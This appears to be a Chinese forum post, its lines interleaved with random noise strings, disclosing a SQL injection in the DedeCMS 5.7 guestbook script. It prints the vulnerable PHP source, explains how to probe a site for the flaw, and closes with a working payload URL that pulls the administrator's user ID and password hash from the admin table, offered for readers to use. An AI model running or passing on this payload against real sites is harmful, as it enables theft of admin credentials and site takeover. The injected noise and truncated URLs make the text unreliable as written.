影响版本为5.7
# p9 R" j( U0 o5 l* C/ s k. y3 d, e& l0 i
漏洞文件edit.inc.php具体代码:
. Y5 k# k* m; n* D z7 ]. G' _& P: G! n$ [( P& P
< ?php # [- E% f4 H% ~6 ]' h2 E% C
! `+ F1 }( Y2 _1 Pif(!defined('DEDEINC')) exit('Request Error!'); ' r* j: s, t! G" w
; l7 S! ?% `! `+ _9 l
6 r, i% ^) i& r# A% O4 X3 g' A3 h: r# A, U: L( |
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];
0 G2 B- @7 Q ~9 `6 K9 o `1 K1 ^
, Y' R9 a- W$ |% ]- P8 k' K6 @else $GUEST_BOOK_POS = "guestbook.php"; " f$ ~1 w7 u' v: R9 Y) ?7 ?
" Q' z6 ~: m& j/ _# u0 g5 w . F/ i4 U1 I6 t
4 |8 o- D! C& S5 v$id = intval($id);
8 s d; v) |& X* `7 M. N4 t
" |2 \" Y! q2 kif(empty($job)) $job='view'; ) y* Q: c/ p' E0 T n5 u
( ~' ?' I9 Q* V
$ T5 }5 J2 I- i- ]2 _
& W" Z' @* k, e5 |3 b# [# T- _if($job=='del' && $g_isadmin) ; Z8 t8 g* F, I9 L
' w: O' s3 Q. B& C$ H# U{ 3 X3 [. j+ a2 y$ n& B
1 G- d' s) Q- ~0 B- c, a t5 m
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");
* k5 c9 Z1 p0 r: N6 [" L a: [
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);
' M2 h: d7 ?8 s2 v+ R
2 `* T) y# N. I+ Xexit();
3 h I$ s. ~# V" H% z% M
7 d* b8 R! z% Y0 b}
! i" C0 F& } g% p- H+ |) e; C% g$ N+ R+ b2 j' Q: W- V. z- D% h4 a
else if($job=='check' && $g_isadmin)
# w+ P2 d7 c1 N5 b( x* m/ R. H% Q: _* U; o& g7 x
{ G5 D8 D1 W4 Y
7 j3 g" h0 X# u$ L1 ~ i! z+ X$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' "); ( n' q$ c( c6 b, Q0 w. q4 [: h% ^
) [) q" p+ f! T/ v% M
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);
1 T; u8 `- N9 P4 a0 `7 M1 p" a5 Z* i
exit();
% X2 J" p q8 ]+ m4 A; z. ~; J- W% z2 g
} " N$ u5 K5 f: k" n6 ]1 `( D
4 @4 x0 h* M6 `8 ]
else if($job=='editok') * t3 T3 Z7 W7 I* b5 C7 V; K
+ ~. w$ o. A; A2 m# l{ , Y8 Q9 M. C9 x1 O# m# L: ^
& d' ?. Z2 u( @7 K$remsg = trim($remsg);
: g4 m8 x# k' T- _1 D3 A$ @
6 j: R6 P* h+ Y; rif($remsg!='')
4 K" H. ~2 `7 C# z5 ^) I) \
) Q" ^# X" ~' T0 N5 P{ 8 e& ]/ u/ d# n0 T& f5 o! B
$ M. x- x4 @, N8 ^
//管理员回复不过滤HTML By:Errorera blog:errs.cc " c2 v, a; J* E4 H
% D5 O% Z3 {' b" z% i" xif($g_isadmin) 3 H0 v* N6 K! n( x9 j( L" l0 r
, m$ ?6 j( ~' e0 F' v2 A5 h
{ . G. e$ |2 W# W: D
; g B8 @6 {* R* o. g7 h$ \* i4 g+ P
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg; 3 m+ k) Y: z5 [( n
4 v, p& N- \% f- \1 p//$remsg <br /><font color=red>管理员回复:</font> }
* i- V$ @& s8 ^! \; Z# A1 W) y& J. x8 q" C5 t1 f: B
else
3 g( g4 x) j% N
) j9 w4 m7 W7 ?0 s7 X6 O{
5 E$ K: A. i0 M. c* m- b2 A- Y; Y8 M# w2 ^# G9 j3 e+ T
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");
3 w4 ` i: h' U" q; f5 R& C: s, N8 m2 k! d
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n"; ) F" `% \* j' f. Y# S9 A5 i: i
+ r* }4 M5 m' l( N- o" N
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);
6 i; @/ {: K* `
: ?1 S/ m# E. }* }' d$msg = $oldmsg.$remsg;
3 W5 K9 F$ c8 ]: C V5 q
! ?# T, K. O7 W# R4 V3 I} * L) I l5 a# Q! I
# h3 P+ x& S$ P6 Q2 c! e}
0 C6 c- b9 Y1 v2 \1 m4 o8 C; L4 [. d+ O+ n" c
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc & N1 G9 K" ^; d4 `7 @: a- \
: Y% p3 {, Z* S$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' "); * `$ Z4 @; m3 V7 p; C0 {" x
$ s7 Y7 O/ ~2 q( `" J5 K. R
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);
% H6 X2 m4 a. i6 Y2 O$ `1 g) p( Y
0 s0 o- h) M( Q, c! eexit(); 5 w; h& m( H* J E3 B; Q. O; ^! n/ f5 |
7 O( e! V! B" R3 ~2 k3 ^. F* p& B. a} 4 }7 Z5 _* u8 H% w
2 r0 ?, g" }" L1 M; a8 m
//home:www.errs.cc 4 Q; B6 Q! T! @% c# ~ p. v, g
) W2 `0 d7 Z; [0 `1 O0 |if($g_isadmin)
) s( i) A& P2 t# i+ |: A6 j* x8 O. M" ]. l6 h. M& _
{ , u: ~! H% N: h9 k* M7 ~! }8 d3 x. }
' @3 y, V9 p, T
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");
& q! t7 k! |$ A' r4 I6 ~, V
8 V0 f% A, A0 w! [: Q$ `require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm'); ) m, j7 U: H# i7 u/ E
d* J- l: `3 m( v+ P0 E: v
}
# ^6 G' Y: d. I# `& D4 O% q, h& O
4 W' @! [* C; w2 F1 \5 E6 z) Belse " \+ M4 G& F: @1 W; F6 m9 O
) \4 ~8 Y8 o0 Q3 `{
& K% o; v7 @# N$ v4 Y/ ~ r
3 Y4 `- f: [/ Z Q, Q. W" l( N$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");
5 L/ r0 v& V+ N3 A. t: \
2 _% M1 ?) f6 n% ?5 [0 f0 i$ Srequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');
2 ^6 d9 h! A; u: N( G$ d% \0 M) @
9 I5 k! h8 }7 ~} 漏洞成功需要条件:
3 Q- x% F$ O' R- m/ H$ L4 ^1. php magic_quotes_gpc=off2 G" `' T; [: a6 }/ }
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
9 R+ C. l4 J. J3 S- Y7 N) Z* g* E @! @! Q6 r1 d- W' m
怎么判断是否存在漏洞:
: h( _4 p* n/ C6 Q# B/ H& d先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
9 e, ^) W8 w* L, t0 ?# V然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
9 M) E, O0 V* Q& t9 f/ r访问:' `3 Y1 C; p* P9 {4 C, f! o+ F! }. O
$ N1 K& j1 H: k% d1 A) q2 F3 B
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了; v/ C% o+ x. g% j% t5 M
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证8 Y! p& x$ I( n# V
- t$ j; W# h3 L/ H2 ?) }, E" U
6 w. i: A6 Q, M4 ^* c) n明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
, L* j1 B! K: B+ W W& E* i$ E# e如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
! p: }0 ?6 W( y7 _- y. t那么再次访问1 T+ d( [- n+ V3 e8 I
' K: \, [! ?# U& I
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().4 U7 V8 F, y8 p2 t. ?& Z' P# G
: t- I* O4 ?2 q1 `. `2 y
大概利用就是这样,大家有兴趣的多研究下!!; x- X1 L3 `' E y, D, ?9 X
, b2 v, `3 s) D, a* @3 c Z, X
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
5 ?7 D S$ [: @6 n
$ D% J- r: `/ J4 w5 m" \6 jview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |